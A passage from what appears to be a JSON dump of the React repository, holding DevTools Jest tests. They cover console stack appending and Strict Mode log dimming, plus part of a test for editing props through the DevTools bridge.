    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {\n  getVersionedRenderImplementation,\n  normalizeCodeLocInfo,\n} from 'react-devtools-shared/src/__tests__/utils';\n\nlet React;\nlet ReactDOMClient;\nlet act;\nlet rendererID;\nlet supportsOwnerStacks = false;\n\ndescribe('console', () => {\n  beforeEach(() => {\n    const inject = global.__REACT_DEVTOOLS_GLOBAL_HOOK__.inject;\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.inject = internals => {\n      rendererID = inject(internals);\n\n      return rendererID;\n    };\n\n    React = require('react');\n    if (\n      React.version.startsWith('19') &&\n      React.version.includes('experimental')\n    ) {\n      supportsOwnerStacks = true;\n    }\n    ReactDOMClient = require('react-dom/client');\n\n    const utils = require('./utils');\n    act = utils.act;\n  });\n\n  const {render} = getVersionedRenderImplementation();\n\n  // @reactVersion >= 18.0\n  it('should pass through logs when there is no current fiber', () => {\n    expect(global.consoleLogMock).toHaveBeenCalledTimes(0);\n    expect(global.consoleWarnMock).toHaveBeenCalledTimes(0);\n    expect(global.consoleErrorMock).toHaveBeenCalledTimes(0);\n\n    console.log('log');\n    console.warn('warn');\n    console.error('error');\n\n    expect(global.consoleLogMock.mock.calls).toEqual([['log']]);\n    expect(global.consoleWarnMock.mock.calls).toEqual([['warn']]);\n    expect(global.consoleErrorMock.mock.calls).toEqual([['error']]);\n  });\n\n  // @reactVersion >= 18.0\n  it('should not append multiple stacks', () => {\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = true;\n\n    const Child = ({children}) => {\n      console.warn('warn', '\\n    in Child (at fake.js:123)');\n      console.error('error', '\\n    in Child (at fake.js:123)');\n      return null;\n    };\n\n    act(() => render(<Child />));\n\n    expect(\n      global.consoleWarnMock.mock.calls[0].map(normalizeCodeLocInfo),\n    ).toEqual(['warn', '\\n    in Child (at **)']);\n    expect(\n      global.consoleErrorMock.mock.calls[0].map(normalizeCodeLocInfo),\n    ).toEqual(['error', '\\n    in Child (at **)']);\n  });\n\n  // @reactVersion >= 18.0\n  it('should append component stacks to errors and warnings logged during render', () => {\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = true;\n\n    const Intermediate = ({children}) => children;\n    const Parent = ({children}) => (\n      <Intermediate>\n        <Child />\n      </Intermediate>\n    );\n    const Child = ({children}) => {\n      console.error('error');\n      console.log('log');\n      console.warn('warn');\n      return null;\n    };\n\n    act(() => render(<Parent />));\n\n    expect(global.consoleLogMock.mock.calls).toEqual([['log']]);\n    expect(\n      global.consoleWarnMock.mock.calls[0].map(normalizeCodeLocInfo),\n    ).toEqual([\n      'warn',\n      supportsOwnerStacks\n        ? '\\n    in Child (at **)\\n    in Parent (at **)'\n        : '\\n    in Child (at **)\\n    in Intermediate (at **)\\n    in Parent (at **)',\n    ]);\n    expect(\n      global.consoleErrorMock.mock.calls[0].map(normalizeCodeLocInfo),\n    ).toEqual([\n      'error',\n      supportsOwnerStacks\n        ? '\\n    in Child (at **)\\n    in Parent (at **)'\n        : '\\n    in Child (at **)\\n    in Intermediate (at **)\\n    in Parent (at **)',\n    ]);\n  });\n\n  // @reactVersion >= 18.0\n  it('should append component stacks to errors and warnings logged from effects', () => {\n    const Intermediate = ({children}) => children;\n    const Parent = ({children}) => (\n      <Intermediate>\n        <Child />\n      </Intermediate>\n    );\n    const Child = ({children}) => {\n      React.useLayoutEffect(function Child_useLayoutEffect() {\n        console.error('active error');\n        console.log('active log');\n        console.warn('active warn');\n      });\n      React.useEffect(function Child_useEffect() {\n        console.error('passive error');\n        console.log('passive log');\n        console.warn('passive warn');\n      });\n      return null;\n    };\n\n    act(() => render(<Parent />));\n\n    expect(global.consoleLogMock.mock.calls).toEqual([\n      ['active log'],\n      ['passive log'],\n    ]);\n\n    expect(\n      global.consoleWarnMock.mock.calls[0].map(normalizeCodeLocInfo),\n    ).toEqual([\n      'active warn',\n      supportsOwnerStacks\n        ? '\\n    in Child_useLayoutEffect (at **)\\n    in Parent (at **)'\n        : '\\n    in Child (at **)\\n    in Intermediate (at **)\\n    in Parent (at **)',\n    ]);\n    expect(\n      global.consoleWarnMock.mock.calls[1].map(normalizeCodeLocInfo),\n    ).toEqual([\n      'passive warn',\n      supportsOwnerStacks\n        ? '\\n    in Child_useEffect (at **)\\n    in Parent (at **)'\n        : '\\n    in Child (at **)\\n    in Intermediate (at **)\\n    in Parent (at **)',\n    ]);\n\n    expect(\n      global.consoleErrorMock.mock.calls[0].map(normalizeCodeLocInfo),\n    ).toEqual([\n      'active error',\n      supportsOwnerStacks\n        ? '\\n    in Child_useLayoutEffect (at **)\\n    in Parent (at **)'\n        : '\\n    in Child (at **)\\n    in Intermediate (at **)\\n    in Parent (at **)',\n    ]);\n    expect(\n      global.consoleErrorMock.mock.calls[1].map(normalizeCodeLocInfo),\n    ).toEqual([\n      'passive error',\n      supportsOwnerStacks\n        ? '\\n    in Child_useEffect (at **)\\n    in Parent (at **)'\n        : '\\n    in Child (at **)\\n    in Intermediate (at **)\\n    in Parent (at **)',\n    ]);\n  });\n\n  // @reactVersion >= 18.0\n  it('should append component stacks to errors and warnings logged from commit hooks', () => {\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = true;\n\n    const Intermediate = ({children}) => children;\n    const Parent = ({children}) => (\n      <Intermediate>\n        <Child />\n      </Intermediate>\n    );\n    class Child extends React.Component<any> {\n      componentDidMount() {\n        console.error('didMount error');\n        console.log('didMount log');\n        console.warn('didMount warn');\n      }\n      componentDidUpdate() {\n        console.error('didUpdate error');\n        console.log('didUpdate log');\n        console.warn('didUpdate warn');\n      }\n      render() {\n        return null;\n      }\n    }\n\n    act(() => render(<Parent />));\n    act(() => render(<Parent />));\n\n    expect(global.consoleLogMock.mock.calls).toEqual([\n      ['didMount log'],\n      ['didUpdate log'],\n    ]);\n\n    expect(\n      global.consoleWarnMock.mock.calls[0].map(normalizeCodeLocInfo),\n    ).toEqual([\n      'didMount warn',\n      supportsOwnerStacks\n        ? '\\n    in Child.componentDidMount (at **)\\n    in Parent (at **)'\n        : '\\n    in Child (at **)\\n    in Intermediate (at **)\\n    in Parent (at **)',\n    ]);\n    expect(\n      global.consoleWarnMock.mock.calls[1].map(normalizeCodeLocInfo),\n    ).toEqual([\n      'didUpdate warn',\n      supportsOwnerStacks\n        ? '\\n    in Child.componentDidUpdate (at **)\\n    in Parent (at **)'\n        : '\\n    in Child (at **)\\n    in Intermediate (at **)\\n    in Parent (at **)',\n    ]);\n\n    expect(\n      global.consoleErrorMock.mock.calls[0].map(normalizeCodeLocInfo),\n    ).toEqual([\n      'didMount error',\n      supportsOwnerStacks\n        ? '\\n    in Child.componentDidMount (at **)\\n    in Parent (at **)'\n        : '\\n    in Child (at **)\\n    in Intermediate (at **)\\n    in Parent (at **)',\n    ]);\n    expect(\n      global.consoleErrorMock.mock.calls[1].map(normalizeCodeLocInfo),\n    ).toEqual([\n      'didUpdate error',\n      supportsOwnerStacks\n        ? '\\n    in Child.componentDidUpdate (at **)\\n    in Parent (at **)'\n        : '\\n    in Child (at **)\\n    in Intermediate (at **)\\n    in Parent (at **)',\n    ]);\n  });\n\n  // @reactVersion >= 18.0\n  it('should append component stacks to errors and warnings logged from gDSFP', () => {\n    const Intermediate = ({children}) => children;\n    const Parent = ({children}) => (\n      <Intermediate>\n        <Child />\n      </Intermediate>\n    );\n    class Child extends React.Component<any, any> {\n      state = {};\n      static getDerivedStateFromProps() {\n        console.error('error');\n        console.log('log');\n        console.warn('warn');\n        return null;\n      }\n      render() {\n        return null;\n      }\n    }\n\n    act(() => render(<Parent />));\n\n    expect(global.consoleLogMock.mock.calls).toEqual([['log']]);\n    expect(\n      global.consoleWarnMock.mock.calls[0].map(normalizeCodeLocInfo),\n    ).toEqual([\n      'warn',\n      supportsOwnerStacks\n        ? '\\n    in Parent (at **)'\n        : '\\n    in Child (at **)\\n    in Intermediate (at **)\\n    in Parent (at **)',\n    ]);\n    expect(\n      global.consoleErrorMock.mock.calls[0].map(normalizeCodeLocInfo),\n    ).toEqual([\n      'error',\n      supportsOwnerStacks\n        ? '\\n    in Parent (at **)'\n        : '\\n    in Child (at **)\\n    in Intermediate (at **)\\n    in Parent (at **)',\n    ]);\n  });\n\n  // @reactVersion >= 18.0\n  it('should be resilient to prepareStackTrace', () => {\n    Error.prepareStackTrace = function (error, callsites) {\n      const stack = ['An error occurred:', error.message];\n      for (let i = 0; i < callsites.length; i++) {\n        const callsite = callsites[i];\n        stack.push(\n          '\\t' + callsite.getFunctionName(),\n          '\\t\\tat ' + callsite.getFileName(),\n          '\\t\\ton line ' + callsite.getLineNumber(),\n        );\n      }\n\n      return stack.join('\\n');\n    };\n\n    const Intermediate = ({children}) => children;\n    const Parent = ({children}) => (\n      <Intermediate>\n        <Child />\n      </Intermediate>\n    );\n    const Child = ({children}) => {\n      console.error('error');\n      console.log('log');\n      console.warn('warn');\n      return null;\n    };\n\n    act(() => render(<Parent />));\n\n    expect(global.consoleLogMock.mock.calls).toEqual([['log']]);\n    expect(\n      global.consoleWarnMock.mock.calls[0].map(normalizeCodeLocInfo),\n    ).toEqual([\n      'warn',\n      supportsOwnerStacks\n        ? '\\n    in Child (at **)\\n    in Parent (at **)'\n        : '\\n    in Child (at **)\\n    in Intermediate (at **)\\n    in Parent (at **)',\n    ]);\n    expect(\n      global.consoleErrorMock.mock.calls[0].map(normalizeCodeLocInfo),\n    ).toEqual([\n      'error',\n      supportsOwnerStacks\n        ? '\\n    in Child (at **)\\n    in Parent (at **)'\n        : '\\n    in Child (at **)\\n    in Intermediate (at **)\\n    in Parent (at **)',\n    ]);\n  });\n\n  // @reactVersion >= 18.0\n  it('should correctly log Symbols', () => {\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = false;\n\n    const Component = ({children}) => {\n      console.warn('Symbol:', Symbol(''));\n      return null;\n    };\n\n    act(() => render(<Component />));\n\n    expect(global.consoleWarnMock.mock.calls).toMatchInlineSnapshot(`\n    [\n      [\n        \"Symbol:\",\n        Symbol(),\n      ],\n    ]\n    `);\n  });\n\n  it('should double log if hideConsoleLogsInStrictMode is disabled in Strict mode', () => {\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = false;\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.hideConsoleLogsInStrictMode =\n      false;\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    function App() {\n      console.log('log');\n      console.warn('warn');\n      console.error('error');\n      return <div />;\n    }\n\n    act(() =>\n      root.render(\n        <React.StrictMode>\n          <App />\n        </React.StrictMode>,\n      ),\n    );\n\n    expect(global.consoleLogMock).toHaveBeenCalledTimes(2);\n    expect(global.consoleLogMock.mock.calls[1]).toEqual([\n      '\\x1b[2;38;2;124;124;124m%s\\x1b[0m',\n      'log',\n    ]);\n\n    expect(global.consoleWarnMock).toHaveBeenCalledTimes(2);\n    expect(global.consoleWarnMock.mock.calls[1]).toEqual([\n      '\\x1b[2;38;2;124;124;124m%s\\x1b[0m',\n      'warn',\n    ]);\n\n    expect(global.consoleErrorMock).toHaveBeenCalledTimes(2);\n    expect(global.consoleErrorMock.mock.calls[1]).toEqual([\n      '\\x1b[2;38;2;124;124;124m%s\\x1b[0m',\n      'error',\n    ]);\n  });\n\n  it('should not double log if hideConsoleLogsInStrictMode is enabled in Strict mode', () => {\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = false;\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.hideConsoleLogsInStrictMode =\n      true;\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    function App() {\n      console.log('log');\n      console.warn('warn');\n      console.error('error');\n      return <div />;\n    }\n\n    act(() =>\n      root.render(\n        <React.StrictMode>\n          <App />\n        </React.StrictMode>,\n      ),\n    );\n\n    expect(global.consoleLogMock).toHaveBeenCalledTimes(1);\n    expect(global.consoleWarnMock).toHaveBeenCalledTimes(1);\n    expect(global.consoleErrorMock).toHaveBeenCalledTimes(1);\n  });\n\n  it('should double log from Effects if hideConsoleLogsInStrictMode is disabled in Strict mode', () => {\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = false;\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.hideConsoleLogsInStrictMode =\n      false;\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    function App() {\n      React.useEffect(() => {\n        console.log('log effect create');\n        console.warn('warn effect create');\n        console.error('error effect create');\n\n        return () => {\n          console.log('log effect cleanup');\n          console.warn('warn effect cleanup');\n          console.error('error effect cleanup');\n        };\n      });\n\n      return <div />;\n    }\n\n    act(() =>\n      root.render(\n        <React.StrictMode>\n          <App />\n        </React.StrictMode>,\n      ),\n    );\n    expect(global.consoleLogMock.mock.calls).toEqual([\n      ['log effect create'],\n      ['\\x1b[2;38;2;124;124;124m%s\\x1b[0m', 'log effect cleanup'],\n      ['\\x1b[2;38;2;124;124;124m%s\\x1b[0m', 'log effect create'],\n    ]);\n    expect(global.consoleWarnMock.mock.calls).toEqual([\n      ['warn effect create'],\n      ['\\x1b[2;38;2;124;124;124m%s\\x1b[0m', 'warn effect cleanup'],\n      ['\\x1b[2;38;2;124;124;124m%s\\x1b[0m', 'warn effect create'],\n    ]);\n    expect(global.consoleErrorMock.mock.calls).toEqual([\n      ['error effect create'],\n      ['\\x1b[2;38;2;124;124;124m%s\\x1b[0m', 'error effect cleanup'],\n      ['\\x1b[2;38;2;124;124;124m%s\\x1b[0m', 'error effect create'],\n    ]);\n  });\n\n  it('should not double log from Effects if hideConsoleLogsInStrictMode is enabled in Strict mode', () => {\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = false;\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.hideConsoleLogsInStrictMode =\n      true;\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    function App() {\n      React.useEffect(() => {\n        console.log('log effect create');\n        console.warn('warn effect create');\n        console.error('error effect create');\n\n        return () => {\n          console.log('log effect cleanup');\n          console.warn('warn effect cleanup');\n          console.error('error effect cleanup');\n        };\n      });\n\n      return <div />;\n    }\n\n    act(() =>\n      root.render(\n        <React.StrictMode>\n          <App />\n        </React.StrictMode>,\n      ),\n    );\n\n    expect(global.consoleLogMock).toHaveBeenCalledTimes(1);\n    expect(global.consoleWarnMock).toHaveBeenCalledTimes(1);\n    expect(global.consoleErrorMock).toHaveBeenCalledTimes(1);\n  });\n\n  it('should double log from useMemo if hideConsoleLogsInStrictMode is disabled in Strict mode', () => {\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = false;\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.hideConsoleLogsInStrictMode =\n      false;\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    function App() {\n      React.useMemo(() => {\n        console.log('log');\n        console.warn('warn');\n        console.error('error');\n      }, []);\n      return <div />;\n    }\n\n    act(() =>\n      root.render(\n        <React.StrictMode>\n          <App />\n        </React.StrictMode>,\n      ),\n    );\n\n    expect(global.consoleLogMock).toHaveBeenCalledTimes(2);\n    expect(global.consoleLogMock.mock.calls[1]).toEqual([\n      '\\x1b[2;38;2;124;124;124m%s\\x1b[0m',\n      'log',\n    ]);\n\n    expect(global.consoleWarnMock).toHaveBeenCalledTimes(2);\n    expect(global.consoleWarnMock.mock.calls[1]).toEqual([\n      '\\x1b[2;38;2;124;124;124m%s\\x1b[0m',\n      'warn',\n    ]);\n\n    expect(global.consoleErrorMock).toHaveBeenCalledTimes(2);\n    expect(global.consoleErrorMock.mock.calls[1]).toEqual([\n      '\\x1b[2;38;2;124;124;124m%s\\x1b[0m',\n      'error',\n    ]);\n  });\n\n  it('should not double log from useMemo fns if hideConsoleLogsInStrictMode is enabled in Strict mode', () => {\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = false;\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.hideConsoleLogsInStrictMode =\n      true;\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    function App() {\n      React.useMemo(() => {\n        console.log('log');\n        console.warn('warn');\n        console.error('error');\n      }, []);\n      return <div />;\n    }\n\n    act(() =>\n      root.render(\n        <React.StrictMode>\n          <App />\n        </React.StrictMode>,\n      ),\n    );\n\n    expect(global.consoleLogMock).toHaveBeenCalledTimes(1);\n    expect(global.consoleWarnMock).toHaveBeenCalledTimes(1);\n    expect(global.consoleErrorMock).toHaveBeenCalledTimes(1);\n  });\n\n  it('should double log in Strict mode initial render for extension', () => {\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = false;\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.hideConsoleLogsInStrictMode =\n      false;\n\n    // This simulates a render that happens before React DevTools have finished\n    // their handshake to attach the React DOM renderer functions to DevTools\n    // In this case, we should still be able to mock the console in Strict mode\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.rendererInterfaces.delete(rendererID);\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    function App() {\n      console.log('log');\n      console.warn('warn');\n      console.error('error');\n      return <div />;\n    }\n\n    act(() =>\n      root.render(\n        <React.StrictMode>\n          <App />\n        </React.StrictMode>,\n      ),\n    );\n\n    expect(global.consoleLogMock).toHaveBeenCalledTimes(2);\n    expect(global.consoleLogMock.mock.calls[1]).toEqual([\n      '\\x1b[2;38;2;124;124;124m%s\\x1b[0m',\n      'log',\n    ]);\n\n    expect(global.consoleWarnMock).toHaveBeenCalledTimes(2);\n    expect(global.consoleWarnMock.mock.calls[1]).toEqual([\n      '\\x1b[2;38;2;124;124;124m%s\\x1b[0m',\n      'warn',\n    ]);\n\n    expect(global.consoleErrorMock).toHaveBeenCalledTimes(2);\n    expect(global.consoleErrorMock.mock.calls[1]).toEqual([\n      '\\x1b[2;38;2;124;124;124m%s\\x1b[0m',\n      'error',\n    ]);\n  });\n\n  it('should not double log in Strict mode initial render for extension', () => {\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = false;\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.hideConsoleLogsInStrictMode =\n      true;\n\n    // This simulates a render that happens before React DevTools have finished\n    // their handshake to attach the React DOM renderer functions to DevTools\n    // In this case, we should still be able to mock the console in Strict mode\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.rendererInterfaces.delete(rendererID);\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    function App() {\n      console.log('log');\n      console.warn('warn');\n      console.error('error');\n      return <div />;\n    }\n\n    act(() =>\n      root.render(\n        <React.StrictMode>\n          <App />\n        </React.StrictMode>,\n      ),\n    );\n\n    expect(global.consoleLogMock).toHaveBeenCalledTimes(1);\n    expect(global.consoleWarnMock).toHaveBeenCalledTimes(1);\n    expect(global.consoleErrorMock).toHaveBeenCalledTimes(1);\n  });\n\n  it('should properly dim component stacks during strict mode double log', () => {\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = true;\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.hideConsoleLogsInStrictMode =\n      false;\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    const Intermediate = ({children}) => children;\n    const Parent = ({children}) => (\n      <Intermediate>\n        <Child />\n      </Intermediate>\n    );\n    const Child = ({children}) => {\n      console.error('error');\n      console.warn('warn');\n      return null;\n    };\n\n    act(() =>\n      root.render(\n        <React.StrictMode>\n          <Parent />\n        </React.StrictMode>,\n      ),\n    );\n\n    expect(\n      global.consoleWarnMock.mock.calls[0].map(normalizeCodeLocInfo),\n    ).toEqual([\n      'warn',\n      supportsOwnerStacks\n        ? '\\n    in Child (at **)\\n    in Parent (at **)'\n        : '\\n    in Child (at **)\\n    in Intermediate (at **)\\n    in Parent (at **)',\n    ]);\n\n    expect(\n      global.consoleWarnMock.mock.calls[1].map(normalizeCodeLocInfo),\n    ).toEqual([\n      '\\x1b[2;38;2;124;124;124m%s %o\\x1b[0m',\n      'warn',\n      supportsOwnerStacks\n        ? '\\n    in Child (at **)\\n    in Parent (at **)'\n        : 'in Child (at **)\\n    in Intermediate (at **)\\n    in Parent (at **)',\n    ]);\n\n    expect(\n      global.consoleErrorMock.mock.calls[0].map(normalizeCodeLocInfo),\n    ).toEqual([\n      'error',\n      supportsOwnerStacks\n        ? '\\n    in Child (at **)\\n    in Parent (at **)'\n        : '\\n    in Child (at **)\\n    in Intermediate (at **)\\n    in Parent (at **)',\n    ]);\n    expect(\n      global.consoleErrorMock.mock.calls[1].map(normalizeCodeLocInfo),\n    ).toEqual([\n      '\\x1b[2;38;2;124;124;124m%s %o\\x1b[0m',\n      'error',\n      supportsOwnerStacks\n        ? '\\n    in Child (at **)\\n    in Parent (at **)'\n        : 'in Child (at **)\\n    in Intermediate (at **)\\n    in Parent (at **)',\n    ]);\n  });\n\n  it('should not dim console logs if disableSecondConsoleLogDimmingInStrictMode is enabled', () => {\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = false;\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.hideConsoleLogsInStrictMode =\n      false;\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.disableSecondConsoleLogDimmingInStrictMode =\n      true;\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    function App() {\n      console.log('log');\n      console.warn('warn');\n      console.error('error');\n      return <div />;\n    }\n\n    act(() =>\n      root.render(\n        <React.StrictMode>\n          <App />\n        </React.StrictMode>,\n      ),\n    );\n\n    // Both logs should be called (double logging)\n    expect(global.consoleLogMock).toHaveBeenCalledTimes(2);\n    expect(global.consoleWarnMock).toHaveBeenCalledTimes(2);\n    expect(global.consoleErrorMock).toHaveBeenCalledTimes(2);\n\n    // The second log should NOT have dimming (no ANSI codes)\n    expect(global.consoleLogMock.mock.calls[1]).toEqual(['log']);\n    expect(global.consoleWarnMock.mock.calls[1]).toEqual(['warn']);\n    expect(global.consoleErrorMock.mock.calls[1]).toEqual(['error']);\n  });\n\n  it('should dim console logs if disableSecondConsoleLogDimmingInStrictMode is disabled', () => {\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = false;\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.hideConsoleLogsInStrictMode =\n      false;\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.disableSecondConsoleLogDimmingInStrictMode =\n      false;\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    function App() {\n      console.log('log');\n      console.warn('warn');\n      console.error('error');\n      return <div />;\n    }\n\n    act(() =>\n      root.render(\n        <React.StrictMode>\n          <App />\n        </React.StrictMode>,\n      ),\n    );\n\n    // Both logs should be called (double logging)\n    expect(global.consoleLogMock).toHaveBeenCalledTimes(2);\n    expect(global.consoleWarnMock).toHaveBeenCalledTimes(2);\n    expect(global.consoleErrorMock).toHaveBeenCalledTimes(2);\n\n    // The second log should have dimming (ANSI codes present)\n    expect(global.consoleLogMock.mock.calls[1]).toEqual([\n      '\\x1b[2;38;2;124;124;124m%s\\x1b[0m',\n      'log',\n    ]);\n    expect(global.consoleWarnMock.mock.calls[1]).toEqual([\n      '\\x1b[2;38;2;124;124;124m%s\\x1b[0m',\n      'warn',\n    ]);\n    expect(global.consoleErrorMock.mock.calls[1]).toEqual([\n      '\\x1b[2;38;2;124;124;124m%s\\x1b[0m',\n      'error',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/editing-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\nimport type Store from 'react-devtools-shared/src/devtools/store';\n\nimport {getVersionedRenderImplementation} from './utils';\n\ndescribe('editing interface', () => {\n  let PropTypes;\n  let React;\n  let bridge: FrontendBridge;\n  let store: Store;\n  let utils;\n\n  const flushPendingUpdates = () => {\n    utils.act(() => jest.runOnlyPendingTimers());\n  };\n\n  beforeEach(() => {\n    utils = require('./utils');\n\n    bridge = global.bridge;\n    store = global.store;\n    store.collapseNodesByDefault = false;\n    store.componentFilters = [];\n\n    PropTypes = require('prop-types');\n    React = require('react');\n  });\n\n  const {render} = getVersionedRenderImplementation();\n\n  describe('props', () => {\n    let committedClassProps;\n    let committedFunctionProps;\n    let inputRef;\n    let classID;\n    let functionID;\n    let hostComponentID;\n\n    async function mountTestApp() {\n      class ClassComponent extends React.Component {\n        componentDidMount() {\n          committedClassProps = this.props;\n        }\n        componentDidUpdate() {\n          committedClassProps = this.props;\n        }\n        render() {\n          return null;\n        }\n      }\n\n      function FunctionComponent(props) {\n        React.useLayoutEffect(() => {\n          committedFunctionProps = props;\n        });\n        return null;\n      }\n\n      inputRef = React.createRef(null);\n\n      await utils.actAsync(() =>\n        render(\n          <>\n            <ClassComponent\n              array={[1, 2, 3]}\n              object={{nested: 'initial'}}\n              shallow=\"initial\"\n            />\n            ,\n            <FunctionComponent\n              array={[1, 2, 3]}\n              object={{nested: 'initial'}}\n              shallow=\"initial\"\n            />\n            ,\n            <input\n              ref={inputRef}\n              onChange={jest.fn()}\n              value=\"initial\"\n              data-foo=\"test\"\n            />\n          </>,\n        ),\n      );\n\n      classID = ((store.getElementIDAtIndex(0): any): number);\n      functionID = ((store.getElementIDAtIndex(1): any): number);\n      hostComponentID = ((store.getElementIDAtIndex(2): any): number);\n\n      expect(committedClassProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        shallow: 'initial',\n      });\n      expect(committedFunctionProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        shallow: 'initial',\n      });\n      expect(inputRef.current.value).toBe('initial');\n    }\n\n    // @reactVersion >= 16.9\n    it('should have editable values', async () => {\n      await mountTestApp();\n\n      function overrideProps(id, path, value) {\n        const rendererID = utils.getRendererID();\n        bridge.send('overrideValueAtPath', {\n          id,\n          path,\n          rendererID,\n          type: 'props',\n          value,\n        });\n        flushPendingUpdates();\n      }\n\n      overrideProps(classID, ['shallow'], 'updated');\n      expect(committedClassProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        shallow: 'updated',\n      });\n      overrideProps(classID, ['object', 'nested'], 'updated');\n      expect(committedClassProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'updated',\n        },\n        shallow: 'updated',\n      });\n      overrideProps(classID, ['array', 1], 'updated');\n      expect(committedClassProps).toStrictEqual({\n        array: [1, 'updated', 3],\n        object: {\n          nested: 'updated',\n        },\n        shallow: 'updated',\n      });\n\n      overrideProps(functionID, ['shallow'], 'updated');\n      expect(committedFunctionProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        shallow: 'updated',\n      });\n      overrideProps(functionID, ['object', 'nested'], 'updated');\n      expect(committedFunctionProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'updated',\n        },\n        shallow: 'updated',\n      });\n      overrideProps(functionID, ['array', 1], 'updated');\n      expect(committedFunctionProps).toStrictEqual({\n        array: [1, 'updated', 3],\n        object: {\n          nested: 'updated',\n        },\n        shallow: 'updated',\n      });\n    });\n\n    // @reactVersion >= 16.9\n    // Tests the combination of older frontend (DevTools UI) with newer backend (embedded within a renderer).\n    it('should still support overriding prop values with legacy backend methods', async () => {\n      await mountTestApp();\n\n      function overrideProps(id, path, value) {\n        const rendererID = utils.getRendererID();\n        bridge.send('overrideProps', {\n          id,\n          path,\n          rendererID,\n          value,\n        });\n        flushPendingUpdates();\n      }\n\n      overrideProps(classID, ['object', 'nested'], 'updated');\n      expect(committedClassProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'updated',\n        },\n        shallow: 'initial',\n      });\n\n      overrideProps(functionID, ['shallow'], 'updated');\n      expect(committedFunctionProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        shallow: 'updated',\n      });\n    });\n\n    // @reactVersion >= 17.0\n    it('should have editable paths', async () => {\n      await mountTestApp();\n\n      function renamePath(id, oldPath, newPath) {\n        const rendererID = utils.getRendererID();\n        bridge.send('renamePath', {\n          id,\n          oldPath,\n          newPath,\n          rendererID,\n          type: 'props',\n        });\n        flushPendingUpdates();\n      }\n\n      renamePath(classID, ['shallow'], ['after']);\n      expect(committedClassProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        after: 'initial',\n      });\n      renamePath(classID, ['object', 'nested'], ['object', 'after']);\n      expect(committedClassProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          after: 'initial',\n        },\n        after: 'initial',\n      });\n\n      renamePath(functionID, ['shallow'], ['after']);\n      expect(committedFunctionProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          nested: 'initial',\n        },\n        after: 'initial',\n      });\n      renamePath(functionID, ['object', 'nested'], ['object', 'after']);\n      expect(committedFunctionProps).toStrictEqual({\n        array: [1, 2, 3],\n        object: {\n          after: 'initial',\n        },\n        